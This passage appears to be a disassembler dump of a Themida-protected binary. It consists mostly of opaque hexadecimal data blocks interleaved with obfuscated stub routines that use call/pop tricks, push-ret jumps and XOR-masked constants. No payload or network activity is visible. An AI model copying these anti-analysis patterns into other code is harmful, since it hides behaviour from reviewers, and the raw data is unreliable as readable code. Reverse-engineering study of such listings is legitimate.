731927C5h, 866690E0h, 385DC917h dd 30970BB1h, 3A07E131h, 0C0F8FFB9h, 5E406F39h, 5Ah, 0B996F3EFh dd 0DE45E602h, 8CEF0B4Bh, 0BAFFE745h, 0FF8FF861h, 0E15E15E3h dd 987C1107h, 0E9527B06h, 57B90E5Eh, 0C62DA147h, 0D007E15Dh dd 0B1370E38h, 0E435907Ah, 0D29A8F6Ah, 17BDE569h, 9DD5DC96h dd 84406EEAh, 0D2C52844h, 92EB07E0h, 0C4B18118h, 0D076C022h dd 0E2EFh, 7CBC8000h, 0E682FD60h, 24CA23FFh, 4BC69C77h dd 0F9FC853h, 0E68390F3h, 0F45DB6FFh, 910D0469h, 2C72A106h dd 15FC51A1h, 82E34662h, 0B811FFE6h, 0F59BC44Fh, 9DD3CB48h dd 3E60B005h, 2EE58AB3h, 0D956CA70h, 0B4FFE687h, 5EE9B55Fh dd 31E28F35h, 898A376Dh, 0FA3A8A15h, 0E6877BDEh, 0AA50A9FFh dd 90204049h, 8618FB50h, 9C866CE0h, 5BB407E0h, 49A76CBh dd 6CAA5079h, 6BA67E0Bh, 17801EF7h, 96FF9F72h, 770EEA06h dd 0DF380FDDh, 0B3CF0F4Fh, 0FFED7650h, 0CA771D76h, 74215747h dd 3B43019Dh, 24999B52h, 2FB4AE9h, 1AFC0000h, 71A14E84h dd 0CB4AF72Dh, 1FF09DD3h, 759C497Fh, 0ABFF329h, 78AEF021h dd 1F5549CBh, 0CA009E72h, 72A8F61Dh, 0CC2F4BA3h, 0FA07E7BFh dd 6AA7DD94h, 0C251FE34h, 0BCEFA6DCh, 7E7A3B92h, 12B8B864h dd 2161D8B1h, 0E6B1A205h, 0B77D0FFh, 0FFE6B1A8h, 0C9E575CEh dd 0FFE6B166h, 3ACA338Ch, 0E0CA501Eh, 65F54E07h, 5A44D025h dd 0D73AA6CFh, 0C407E0B9h, 53FBEBB8h, 0D166A7B7h, 0A9D25D41h dd 0B7079A40h, 49EFAF62h, 0E0B06ED5h, 3DF77807h, 2A042E6Eh dd 2AD26D89h, 2457BA26h, 0FD7D07E1h, 0E1247EE1h, 0E24BA407h dd 23C9D53Dh, 6F301B53h, 0B2B940h, 14690000h, 46FDA3FBh dd 0A7326CA7h, 44CFCF42h, 0E6889B18h, 702EE5FFh, 0C84DA23Ah dd 908330D6h, 1F6A830Eh, 48F0F05h, 8DE272DBh, 278C1787h dd 0A248B1EDh, 9C75CA0Ah, 2E85C02h, 3007E09Dh, 4940A1D7h dd 0DB449806h, 0B52FFFDBh, 923B55F8h, 0ED7DE60Dh, 0DDE696D1h dd 0C353AC0Fh, 6DF8A66Eh, 0B1069E44h, 5B083E60h, 282AE8B6h dd 1999BFAh, 1D327C6h, 0F2240000h, 49C976ACh, 0A3721F55h dd 0F718C5FBh, 4DC471A7h, 32E71B51h, 0A0D6C849h, 477D21F3h dd 0F228769Ah, 9AD0CE45h, 0F45773CBh, 2207E7BFh, 6AA705BCh dd 0F8831BF8h, 833066CFh, 21D80E90h, 0A7326CA7h, 97CDD142h dd 0EA7529EAh, 18A8B8D1h, 108E83D8h, 99DCF66Ah, 0B10A07E0h dd 4F4FC126h, 0E8B65FC4h, 5610415Dh, 0F9B3DCAEh, 10A0FE15h dd 22B0DFE6h, 0A1479DF3h, 0D9870263h, 0AD372D49h, 4AA30FDAh dd 0E5B95ABFh, 71B1015Ah, 0E683F255h, 84A020FFh, 0FFE68421h dd 0E78DF64Fh, 88DDAC66h, 70D3EF88h, 96FFE684h, 2049D43Dh dd 0F070197Ah, 0A1042060h, 0CFFFE684h, 1C38D076h, 7E09A26h dd 76CB5BB4h, 758A049Ah, 48A7B864h, 6A1755FBh, 56AF5A9h dd 0E3BB570Bh, 345DEF7Ah, 217D967Ah, 50FF8AEBh, 5D44E901h dd 0B848B151h, 62EDB163h, 0DFFB9339h, 0FDB60C5h, 0D3365292h dd 9DFFE754h, 91EA2B73h, 0B949A2EBh, 53FA5D79h, 0CF28FFE7h dd 0E2319629h, 54167995h, 0E33CFFE7h, 345DEF7Ah, 0BA56AB7Ah dd 0AA6C7D3h, 4BB49E60h, 0F15470C0h, 1FFFE696h, 56B75DC6h dd 819D2D33h, 7E0AD67h, 613DD72Ch, 0FDA171D6h, 3AE04972h dd 16298F1h, 2C48D888h, 0FE1AEEFh, 84E974CDh, 2CD90F8Fh dd 8967BE7h, 60EB547Dh, 4856BB10h, 7AEE94BDh, 3B567983h dd 2206C0F9h, 0DD1DADF1h, 76635EC1h, 852B8424h, 25799A47h dd 88DA359Ah, 6539D78Bh, 0BD48B1DAh, 7B23EF94h, 0D35EC7F0h dd 65AC0141h, 58129339h, 0CA2D4989h, 0F8247663h, 88F1AD63h dd 0C0DE35E2h, 2C36DD8Ah, 12AB5E9h, 62F25571h, 0C7202476h dd 2E83D35Eh, 42DB8E6h, 3775Eh, 0BB100000h, 2F6FA75Ch dd 0CAD43FA4h, 6836DA3Fh, 29C78DDh, 9FFF1277h, 3C62AF14h dd 0DBC34CB1h, 742AEB50h, 108E84E9h, 0AF685285h, 89000029h dd 0EC682404h, 89000026h, 0ED682404h, 8900001Dh, 0BE56241Ch dd 74C71EF9h, 6DDBBD55h, 0CD810271h, 5EA22D85h, 5576C581h dd 0DDF746DFh, 3B8EED81h, 0F5815D61h, 800448BEh, 295DE889h dd 8B545EF0h, 0C481241Ch, 4, 0BDB85050h, 3151EA10h, 58042444h dd 8108438Fh, 10BD0873h, 1C8B51EAh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_58B334 ; --------------------------------------------------------------------------- db 3Fh dd 7C757787h, 87CBC199h db 73h, 2Fh, 2Dh ; --------------------------------------------------------------------------- loc_5F744B: ; CODE XREF: Themida_:005F5E3Cj mov eax, 8013F75h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 7625ACF0h, 5CE33138h, 6E2B48A9h, 6696C753h, 5A3C8FDDh dd 3B2F2898h, 3F2B3332h, 61FA38B7h, 7595E01Eh, 1872FF2Ch dd 640467Bh, 3E76EB21h, 20272BD7h, 5DCBA6F8h, 6E715273h dd 34E41CAEh, 51884BC8h, 737C6EFFh, 2B2ACE18h, 3AE933B2h dd 39B6A65h, 2EA31B53h, 70990B59h, 0C7AB115h, 0A51149h dd 72901D69h, 1EE78D59h, 6C72F753h, 55031F4Dh, 164CC1C1h dd 15FE9h db 0 ; =============== S U B R O U T I N E ======================================= sub_5F74D1 proc near ; CODE XREF: sub_4068E0+12Bp ; sub_409CA0+1Dp ... push edx mov edx, esp pusha call $+5 pop ebp sub ebp, 8014099h mov eax, [edx+8] cmp eax, 78263845h jnz loc_5F7627 mov eax, [edx+0Ch] mov ecx, [edx+18h] ror eax, cl mov ebx, 4E7D5238h xor eax, ebx sub eax, 4 mov [ebp+7FA1CD9h], eax mov ebx, [eax+4] mov edi, eax mov eax, [edx+10h] mov ecx, [edx+18h] ror eax, cl mov esi, 0D7546EFDh xor eax, esi sub eax, edi and eax, 0FFFFFFFCh sub eax, 4 mov [ebp+7FA31ADh], eax mov eax, [edx+14h] mov [ebp+7FA2BD9h], eax mov eax, [edx+18h] push ebx jmp loc_5F75EB ; --------------------------------------------------------------------------- push dword ptr [ebp+7FA16F1h] jmp loc_5F75FF ; --------------------------------------------------------------------------- push dword ptr [ebp+7FA2F59h] jmp loc_5F75FF ; --------------------------------------------------------------------------- push dword ptr [ebp+7FA16B1h] jmp loc_5F75FF ; --------------------------------------------------------------------------- push dword ptr [ebp+7FA3391h] jmp loc_5F75FF ; --------------------------------------------------------------------------- push dword ptr [ebp+7FA167Dh] jmp loc_5F75FF ; --------------------------------------------------------------------------- push dword ptr [ebp+7FA0D31h] jmp loc_5F75FF ; --------------------------------------------------------------------------- push dword ptr [ebp+7FA2515h] jmp loc_5F75FF ; --------------------------------------------------------------------------- push dword ptr [ebp+7FA2EA9h] jmp loc_5F75FF ; --------------------------------------------------------------------------- push dword ptr [ebp+7FA112Dh] jmp loc_5F75FF ; --------------------------------------------------------------------------- push dword ptr [ebp+7FA2D6Dh] jmp loc_5F75FF ; --------------------------------------------------------------------------- push dword ptr [ebp+7FA2149h] jmp loc_5F75FF ; --------------------------------------------------------------------------- push dword ptr [ebp+7FA28EDh] jmp loc_5F75FF ; --------------------------------------------------------------------------- push dword ptr [ebp+7FA243Dh] jmp loc_5F75FF ; --------------------------------------------------------------------------- push dword ptr [ebp+7FA1E99h] jmp loc_5F75FF ; --------------------------------------------------------------------------- push dword ptr [ebp+7FA0E71h] jmp loc_5F75FF ; --------------------------------------------------------------------------- push dword ptr [ebp+7FA0EEDh] jmp loc_5F75FF ; --------------------------------------------------------------------------- loc_5F75EB: ; CODE XREF: sub_5F74D1+65j mov ebx, eax mov eax, 0Bh mul bx lea ecx, [ebp+80140FAh] add ecx, eax jmp ecx ; --------------------------------------------------------------------------- loc_5F75FF: ; CODE XREF: sub_5F74D1+70j ; sub_5F74D1+7Bj ... call dword ptr [ebp+7FA1799h] pop ebx loc_5F7606: ; CODE XREF: sub_5F74D1+14Ej mov eax, [ebp+7FA1CD9h] cmp [eax+4], ebx jnz loc_5F7624 push ebx push 1 call dword ptr [ebp+7FA1019h] pop ebx jmp loc_5F7606 ; --------------------------------------------------------------------------- loc_5F7624: ; CODE XREF: sub_5F74D1+13Ej popa pop edx retn ; --------------------------------------------------------------------------- loc_5F7627: ; CODE XREF: sub_5F74D1+18j popa pop edx mov eax, 7E41A8ADh jmp eax sub_5F74D1 endp ; --------------------------------------------------------------------------- mov eax, [ebp+7FA0DC5h] lea ecx, [ebp+80141E8h] mov [ecx+1], eax mov eax, ebx lea ecx, [ebp+8014302h] push 0 push ecx call sub_5F7652 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F7652 proc near ; CODE XREF: Themida_:005F764Ap arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5F7652 endp ; --------------------------------------------------------------------------- dw 3FE1h ; --------------------------------------------------------------------------- xor eax, 0DFBA79BEh jnp short loc_5F76D1 mov esi, edx cld mov [ebp+7FA1CD9h], ecx push 0 push ecx call sub_5F767F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F767F proc near ; CODE XREF: Themida_:005F7677p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5F767F endp ; --------------------------------------------------------------------------- db 2Fh dd 0AC99D89h, 9D8907FAh, 7FA329Dh, 31AD85C7h, 61E407FAh dd 890F0000h, 14h, 8E8h, 70B66C00h, 16A764D5h, 890FCFh dd 5F000000h, 286DB529h, 85C707FAh, 7FA2BD9h, 0 db 6Ah ; --------------------------------------------------------------------------- loc_5F76D1: ; CODE XREF: Themida_:005F7669j add [ebp-18h], dl add eax, [eax] ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- and [ebp-3Dh], bl pop ebp mov [esp+4], ebp add dword ptr [esp+4], 14h inc ebp push ebp retn ; --------------------------------------------------------------------------- db 0B1h ; --------------------------------------------------------------------------- jmp loc_5F76FB ; --------------------------------------------------------------------------- db 0EDh, 0A0h, 0F7h dd 0BAE98665h ; --------------------------------------------------------------------------- or [edi], ecx pop ds loc_5F76FB: ; CODE XREF: Themida_:005F76ECj push dword ptr [ebp+7FA2EA9h] push 0 push esi call sub_5F770C and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F770C proc near ; CODE XREF: Themida_:005F7704p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5F770C endp ; --------------------------------------------------------------------------- dd 18F77DAFh, 0E98CE43Ah, 8, 0AA63F6E8h, 9700DB42h, 179995FFh dd 853107FAh, 7FA0539h, 95FF006Ah, 7FA1019h, 6EEBC08Bh dd 28F235F4h, 0ABBBB775h, 69B57315h, 0F3B6417Dh, 8F934CE2h dd 0A557D236h, 0A6F2134Fh, 0CE97F6F4h, 3EC430D0h, 35F8F9CEh dd 8096109Eh, 55D81E0Bh, 351CF66Bh, 11E8C4AAh, 0ED2268C8h dd 253A3B77h, 0C7553C42h, 0AB34E372h, 11A0B9Ch, 0CCAD510Ch dd 8FB03FF6h, 0F1A3AC0Dh, 7E5B7F58h, 5D6F5473h, 2AC9250Bh dd 6BC9C491h, 840491EAh, 85C6CFFBh, 7FA0665h, 30DF6856h dd 0B5FFA9C5h, 7FA2095h, 0A3DD858Dh, 0D0FF07FDh, 30DD8D8Dh dd 6A5107FAh, 0A1B5FF40h, 0FF07FA27h, 0FA22B5B5h, 0FFD0FF07h dd 0FA27A1B5h, 0B5B5FF07h, 0E807FA22h, 11h, 940F560h, 324FDE75h dd 0D0E92C54h, 42497C45h, 835858F8h, 2CC104E8h, 24C10224h dd 4030224h, 241CF724h, 68h, 34FF5900h, 0EE815E01h, 65F083E6h dd 466DEE81h, 0F6811E17h, 5FC3A2C2h, 83083489h, 3B4903E9h dd 850F240Ch, 14h, 27E9h, 4BB99A00h, 1DA68D4Eh, 0F8B7BCC3h dd 91ECE253h, 0FFFFC1E9h, 4080A5FFh, 14E998EAh, 561A6EFAh dd 0F5E74A63h, 367CDC3Dh, 27199D8Dh, 38B07FAh, 840FC00Bh dd 7, 5B8B038Bh, 8B188904h, 9E8C9h, 87E20000h, 910CC1A0h dd 608103B6h, 8B665B50h, 815F61D0h, 64CEC7h, 0BDB9F500h dd 8131ED97h, 0ED8F42F1h, 10E931h, 7E3B0000h, 5D2C2853h dd 0E6FB3DFAh, 48D140Ah, 178B25F0h, 79DE8166h, 7EA8158h dd 0F163C0Eh, 1489h, 0FE900h, 577B0000h, 7898F354h, 9539518h dd 1A097F96h, 50F28137h, 0B705E9BEh, 0C28110h, 0E9034129h dd 14h, 5923E2E8h, 0FD1F6DC5h, 0F7543B39h, 83A079E9h, 0B5D14238h dd 840F6052h, 2, 0D98A6160h, 83078F61h, 8B6601EFh, 4F4F4FC7h dd 0BE9h, 0BCDC200h, 0B4234F35h, 7DFCF83Ah, 1E981h, 850F0000h dd 0FFFFFF7Eh, 0DE8F860h, 22000000h, 3FF8133Dh, 5818C582h dd 5D35E14Ch, 830Fh, 615A0000h, 9E8h, 7B5E6700h, 0A0EF4A5Bh dd 58FCED99h, 0C081F18Bh, 5D5Ch, 0CE9h, 0CF386600h, 3186FD1Ah dd 89CE0EB3h, 173ABB15h, 81660000h, 8B8B93CEh, 8152B510h dd 0ADA571C2h, 74F28128h, 8149F598h, 257D68F2h, 8D0F4Ch dd 89000000h, 0CE810h, 77920000h, 0D852DF16h, 74119C59h dd 0FE8B75C8h, 4E8835Fh, 2958BEh, 1EB810Eh, 0F000000h dd 0FFFFBA85h, 0CFBE66FFh, 0BE8ACh, 10530000h, 779A70F5h dd 8F0D988Eh, 0BE980h, 0C340000h, 0E8080B9Ah, 7DAE8E35h dd 0E5B05B20h, 5E92C381h, 0AE90000h, 24000000h, 9B14984Fh dd 431F11Ah, 177CBE24h, 38B40000h, 0BF0F33FFh, 0FE95FC9h dd 1C000000h, 3519BAD9h, 0F65E2885h, 201DC5C9h, 0F7813F75h dd 2DE308F1h, 71C9BA66h, 137FC781h, 816606ECh, 81107BD0h dd 766C3AF7h, 59FC536Eh, 38FF957h, 0EB817EB1h, 1C89E846h dd 0BE9h, 0FEA92D00h, 8E298C87h, 9D9F761Ah, 0E842C381h dd 0BA661C89h, 0EE81DE18h, 1, 0FF96850Fh, 0CA8BFFFFh, 2DE9h dd 70F4F000h, 55h, 9 dup(0) dd 0BFE90000h, 68000004h, 80147BFh, 0F93863E9h, 481C68FFh dd 59E90801h, 68FFF938h, 801493Dh, 0F9384FE9h, 0D3CB4BFFh dd 7C22F09Dh, 227C9946h, 0CED03FECh, 7826EB98h, 72590E42h dd 1CC9FF9Fh, 0C370A6F8h, 6E1B514Dh, 0F4C3F9A5h, 0C91D809Ch dd 0DD4307E7h, 86E90545h, 0AC07E7C9h, 0A7F6AD53h, 0D9EB236Ah dd 0E3EF8F2Eh, 898AEF7Ah, 0E0308515h, 0C7E333BEh, 0FFE6E964h dd 2AD03992h, 10FF54ECh, 287E88Eh, 10B2CE5Eh, 0B607E106h dd 3FA6D25Dh, 4907E0FDh, 0F25571B1h, 2007E0FCh, 0E6A021C7h dd 6F09A7DFh, 30E4540h, 0A0F50000h, 0CD842A74h, 0CEBB657Bh dd 64AD0292h, 208915FEh, 0C4C6E27Ah, 0A307E089h, 35DBC34Eh dd 0F25693ECh, 545F004h, 11A1BFCAh, 127591D1h, 40FA85E3h dd 29B9E6D6h, 82EB9297h, 94A668DCh, 338C027Fh, 0E44763A3h dd 0C3FD4B83h, 4B8444A7h, 0D81972FDh, 2D46D97Fh, 5874045Ch dd 545BED3h, 136F88B2h, 2874D4B2h, 50E03982h, 508618FBh dd 0B4AE63B8h, 4BD63F5Fh, 6E7CDFFBh, 51AAFA86h, 7E9542E8h dd 1359D00Fh, 44ADBC59h, 2B79686h, 9D3C7763h, 2F0h, 0B8EEB066h dd 6197070Bh, 73D61B4h, 0B3E9B55Ah, 5D930B06h, 868B7429h dd 0DF35E218h, 34DC89BFh, 8C87346Ah, 0B50DDC12h, 0E7CA3699h dd 3FF65C07h, 3ACA96F3h, 0CA702EE5h, 0CA071632h, 3C9507E7h dd 0E4BA57ACh, 8E1001AEh, 0C96FD703h, 1307E7h, 3C42E09Eh dd 8CC76E63h, 293EDh, 4B53C300h, 0F4AA6815h, 9A0411BEh dd 4658B764h, 0F0AE6310h, 0EAD186BAh, 94417727h, 3BE81E80h dd 0E693C9D5h, 6C3B712Dh, 0CB95F814h, 55BB07E7h, 0CA96F39Eh dd 6BA5FA3Ah, 0A198D33h, 9807E7CAh, 2188B43Fh, 2B07E7C9h dd 0B1E9F0AAh, 984075D1h, 42CDD143h, 0C1927319h, 23000001h dd 0A2326CA7h, 758B3278h, 993F72EBh, 2C72A106h, 8095EF6h dd 6BF0536Fh, 0BD16FFE7h, 3C4DAE54h, 0DE789424h, 407E196h dd 8DF420ABh, 9707E146h, 4D8D5C16h, 0E146CE31h, 0F59BF407h dd 6F4DED25h, 208B40h, 0F31C0000h, 1E3ACA96h, 7E09C50h dd 3E6AF54Eh, 7E09BD7h, 9FA660E1h, 406EA767h, 0BA05h, 6CA79600h dd 0CF42A732h, 9FF444CFh, 7E20EF73h, 0BB61CAF3h, 0E99050Eh dd 0F8A669BEh, 0F19E446Dh, 0D2467C22h, 0FFE68849h, 4C821CF7h dd 469B9EEBh, 568D4CAh, 2BFFE687h, 84D969D2h, 5C85108Eh dd 2C021EB6h, 3A07E367h, 0A5306EA5h, 2E83137Ch, 0D885BBE3h dd 0A3A76539h, 849E615Eh, 172AA49h, 32E40000h, 8989366Ch dd 0E332DF15h, 37D885BBh, 8D843167h, 0F2A7DB11h, 60960809h dd 73D61B3h, 0B2E8B65Ah, 5A900E05h, 0B417338Bh, 0E207E7CCh dd 6AA7C57Ch, 1D8618F8h, 0C2DC388Dh, 2A680E37h, 0D3365292h dd 1FFE683h, 6BF6A86Ch, 905FD942h, 0A390D332h, 82913EE4h dd 0A72FE61Ch, 7F1FF66Ch, 2588A4F4h, 4BFFE683h, 952089F2h dd 86E90545h, 5DFFE683h, 0E683DE41h, 6AAB04FFh, 2658111h dd 30FFE683h, 8F8431D7h, 1178D90Fh, 0A96ABF4Fh, 9B416AF5h dd 0D2E6E703h, 77D007E0h, 0E37F92E7h, 0BEE7722Ch, 3BA4FA19h dd 0D22A9105h, 1FF407E0h, 0D2D93C58h, 6EA307E0h, 696EF30h dd 0E0D287EAh, 0EB54AD07h, 9DDD1DB5h, 0E0D21E81h, 7FEB4407h dd 7E0D21Ch, 9E4BF14Ah, 7D21EF73h, 0F398914h, 0DA9CD659h dd 811DF2EAh, 0BE64CDF6h, 83D7h, 0D53A8F00h, 0AEF024C9h dd 9D54FA23h, 3ACA96F3h, 0E7CA0B1Eh, 0F049907h, 66A0237Eh dd 2B947F40h, 41D237C2h, 3A8F275Dh, 0EE3EC9D5h, 0E8786FD2h dd 0D33C9507h, 0B93802Dh, 37775480h, 144D655Ah, 0DA9D765Ah dd 56CD5BBEh, 0C7308955h, 6F2FE491h, 0E907FE4h, 0ADF11E83h dd 4658BD22h, 0B46E9FBBh, 57113A0Ch, 0C8FEA073h, 1BA6F81Bh dd 137Ch, 92BC1500h, 0A3585815h, 0B9CCE661h, 0E338A620h dd 0EE4DE68Ch, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh, 77029C78h dd 149FFF12h, 0B13C62AFh, 50DBC34Ch, 0E9742AEBh, 85108E84h dd 21B46852h, 2C890000h, 2FBD6824h, 0C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push esi mov esi, 80146A4h push esi xor dword ptr [esp], 40C24784h pop ecx xor ecx, 40C24784h pop esi push esp mov edx, [esp] add esp, 4 push ebp mov ebp, ecx push ebp xor dword ptr [esp], 5A8B5AFCh pop dword ptr [edx+8] xor dword ptr [edx+8], 5A8B5AFCh pop ebp push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop ecx add esp, 4 jmp loc_58B334 ; --------------------------------------------------------------------------- dd 0D4B8FF9Ch, 308014Ah, 0ECE0FFC5h, 813F4223h, 38520DFCh dd 0A00B1E24h, 48370141h, 9E093B51h, 8D4A648Fh, 0F61AD9DEh dd 3E321E36h, 80EB265h, 2515CA3Bh, 0E93B6174h, 9, 69B032E3h dd 0 dd 645E900h, 0E2340000h, 39D986BCh, 93822F65h, 0E728D50Bh dd 3DD481B7h, 42F72B61h, 0B0E6B859h, 578D1103h, 23866AAh dd 0AAE0BE55h, 46783DBh, 3207E7CEh, 0A70A34CCh, 2590EA4Dh dd 0A7873EE4h, 57A7326Ch, 0EA900E02h, 94CAD43Dh, 0E2722CE7h dd 832386A2h, 2318FFE6h, 69B669Dh, 0AF55AEEFh, 425CB71Ch dd 0DEC052B7h, 7C1FA53h, 78AEF023h, 0C95945CBh, 73039B74h dd 0E6FFF457h, 23C922FFh, 8AD838E5h, 6836DA88h, 0E24B74FFh dd 7C22F257h, 506CACECh, 0FFE6FFEDh, 0EB4EBA13h, 19FFE6FFh dd 0F5871AC0h, 0E22E12CCh, 3AD986BCh, 3489D964h, 0A61AC0DEh dd 0FFE70040h, 3F460071h, 38750C07h, 62A5h, 6CA73600h dd 167BA732h, 0DCFFE683h, 0A3DD6836h, 0F5B98C76h, 6DA44962h dd 598AA631h, 48B9F79Fh, 684F878Eh, 1ED3875h, 7E000000h dd 1D226BA7h, 372E60A5h, 298E1982h, 0C52AB5E9h, 0A6F8184Ah dd 0BB58AD3Dh, 51AA3DE3h, 658F5E18h, 6638E1F5h, 6714BA89h dd 0E63F3ABh, 0E8119C02h, 0BC570442h, 0A7F5ACE2h, 4FA4346Ah dd 2A749DC5h, 820D769Fh, 0BB20B359h, 0A0BC4757h, 40D1B56Fh dd 83B81B37h, 85DEFFE6h, 0E46F2FE0h, 98C252BBh, 0E7D0768Dh dd 57953BB6h, 0AA3569AAh, 8BA7D045h, 0FFE6B028h, 18CF54Eh dd 9AA15BDCh, 3874B652h, 6A100F39h, 0E4BB9053h, 0B5D53854h dd 0A2FBFFE6h, 4E1BFCh, 0A7AC0000h, 44A9346Ah, 0DD42CDD1h dd 0B5F45B32h, 0D4548037h, 977BE06Bh, 0F7387C07h, 0C3FC953Dh dd 0B2EC2509h, 5C42CF7Ch, 0FBA36CD1h, 10CA4B70h, 7553C109h dd 435F38h, 0BA0F0000h, 0EAA14757h, 0A9346AA7h, 47D2CC44h dd 2408C203h, 0C47BB1EDh, 0A3336BA7h, 50DBC34Eh, 0D918227h dd 20B35982h, 0E6838EF4h, 944EBFFFh, 748F558Dh, 2EE73C38h dd 8F80E570h, 1F00A60Fh, 1, 0A867BCB0h, 0B9445ABAh, 739C2790h dd 0CE5945CEh, 0C352FFA5h, 28EB50DBh, 85A1D63Ah, 0FFE68322h dd 258EF750h, 0A7D04095h, 0E683288Bh, 8CF54EFFh, 81C153E6h dd 83C22541h, 85A1FFE6h, 0FFE68322h, 5DB6F750h, 0BB4658B8h dd 0B16BEC92h, 0AA69B8E2h, 7FB22BACh, 0A4E92CD9h, 0E7802E3Dh dd 8FAB3B34h, 0FFE72E2Ch, 6298015Ah, 49A75CAh, 49AA5079h dd 74902040h, 7E14516h, 3699B5F5h, 5C07E13Fh, 0BB145D03h dd 8155012Bh, 0EB6A9798h, 0F25CAF71h, 751BF8C7h, 0A76892E2h dd 9A0EEA67h, 40FBC62h, 5CB7649Ah, 6910D06h, 93379AB6h dd 45D07E0h, 4DA2329Bh, 224BD6C8h, 58BDE97Ch, 4307E093h dd 0AF644802h, 70CB9EFh, 70882D86h, 0B41D02C9h, 4F4FC429h dd 0EAB45FC4h, 8618FA5Fh, 217D96FBh, 0A8E96D96h, 0B9EA46EEh dd 35DB30FFh, 728EDE69h, 7E0FC0Fh, 0CE73DC35h, 0AB75D41h dd 0C75F9509h, 0FC086B87h, 0D52E07E0h, 8275F2Fh, 7EC5406Fh dd 56000001h, 3ACA96F3h, 326CA5FAh, 64D87EA7h, 7E0B80Eh dd 2E91ADEDh, 0F007E0B8h, 0C8F17C22h, 88EB0787h, 0AE07E0B8h dd 0FD46EC55h, 54BF14A4h, 0F096BF4Ah, 831BF85Dh, 2B73A04Dh dd 0C6D83BA0h, 633BD63Bh, 9E73D8h, 818A3B75h, 0B4D660CDh dd 896D2758h, 6089148Ah, 29539BF7h, 8BA10F5Eh, 399CB89Fh dd 6707E098h, 7EFFA50Eh, 2F33E0C4h, 1E54BDE1h, 0C0DE3186h dd 0A4124A1Ah, 56B0406Eh, 41000000h, 36C69AF3h, 0E683971Ah dd 6DA83D7Fh, 147DA631h, 0F4F35A84h, 0CC988936h, 0EBAF936Ch dd 30D63F54h, 4E0E719Dh, 0BAE37FE6h, 3B256800h, 4E0C8FABh dd 61BAFFE6h, 0F8957CD1h, 0B86E452Bh, 18A30CD7h, 240B49EFh dd 0B5h, 0B322B2DCh, 4EC8D63Ah, 913788E3h, 7A92BCDAh, 6C1CBDE9h dd 2069CA70h, 4670B040h, 7BE9D7A6h, 298CA8F5h, 57FFE6EEh dd 7BEF95FEh, 7E10511h, 0C72A4686h, 0ED07E100h, 4CA5EE94h dd 0E7B75CC1h, 90EF19B1h, 4BE1D3A7h, 1F7F9035h, 18C56B94h dd 0EC18A3FBh, 7E14684h, 4024DE1Fh, 1C828FD3h, 6FFF6891h dd 45B0132Fh, 7DD607E1h, 513899D7h, 7B637F0Fh, 1C0FE290h dd 0C5DC0DCh, 2A830FE2h, 52E23B84h, 0E28816FDh, 67AAFF4Fh dd 2FE49137h, 839FDF6Fh, 0FE20C20h, 0B447ED46h, 703FF922h dd 59231646h, 8B3139DDh, 71015F2Ah, 0E37E6D55h, 0EA207917h dd 0CA96F333h, 2590103Ah, 634D0FD3h, 210925BDh, 0C507E892h dd 977CE16Ch, 0F3227707h, 0B056884h, 0D22B07E8h, 0FB5DE69h dd 0AFEF24D1h, 6C79F824h, 0D60F6999h, 1DF84D1Ch, 27CDF681h dd 0C2DE997Ah, 69976B5Fh, 6EAFEF21h, 0DC1CAC15h, 976B5DC0h dd 0F7E84A69h, 1968C52Bh, 9BD97FD8h, 0D83D25EEh, 39D63BC6h dd 48B1DA65h, 0DA0454DFh, 0D820C3DDh, 0D9862CA6h, 78DD6836h dd 0EE96F697h, 970E43D9h, 0D53EA32Eh, 0F1223EC9h, 7DBD8F37h dd 69BF133Dh, 67181302h, 971198FBh, 0BF65BE69h, 8BB5843Eh dd 38FD5EBAh, 1FB47B7Eh, 69E48E08h, 2EE59238h, 78A23A70h dd 9F9DBB6h, 0AB75DE8h, 0D6B75909h, 233E48FBh, 0A50E7718h dd 177B1Ah, 0F3330000h, 971174D7h, 0CBD33E69h, 0D48B318Ah dd 0F6A867BCh, 39C426Bh, 2F6FA7A4h, 0CAD43FA4h, 6836DA3Fh dd 29C78DDh, 9FFF1277h, 3C62AF14h, 0DBC34CB1h, 742AEB50h dd 108E84E9h, 89575285h, 95B850E7h, 2D249A72h, 531840FAh dd 0D0F7D8F7h, 0CA7E2E25h, 568E0545h, 9C3577ECh, 1B96E86h dd 0EF8358C7h, 243C8704h, 0E789575Ch, 4C781h, 0EF830000h dd 243C8704h, 2404895Ch, 0C9568h, 24148900h, 14B8D68h dd 24048B08h, 4C481h, 0EC810000h, 4, 83242489h, 5A042404h dd 4EC81h, 2C890000h, 89C58924h, 8B5D086Ah, 89532414h dd 4C381E3h, 81000000h, 4C3h, 241C8700h, 24048B5Ch, 81E78957h dd 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFF92D30h, 55A870D3h dd 0A2DE9EFBh, 2F8365E2h, 0B86E90BDh, 8015121h, 0E0FFC503h dd 705B09CFh, 554C0D4Bh, 7B782E14h, 14FC19ECh, 65EC1E63h dd 7F241A98h, 54A0C9C8h, 105928B9h, 74F94D89h, 72FEEADEh dd 29D8A8BBh, 2DD46AE0h, 52D88D8Dh, 6A0801h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0F3A918C3h dd 2751B58Bh, 8D8907FAh, 7FA1CD9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 0A0C35747h, 9A9C0CB6h, 0E7CA8166h dd 9E8DAh, 0E4780000h, 0E352E0CAh, 0FAB9F54h, 583h, 74A4BF00h dd 0C758655Fh, 0FA31AD85h, 615007h, 95950B00h, 0C707FA15h dd 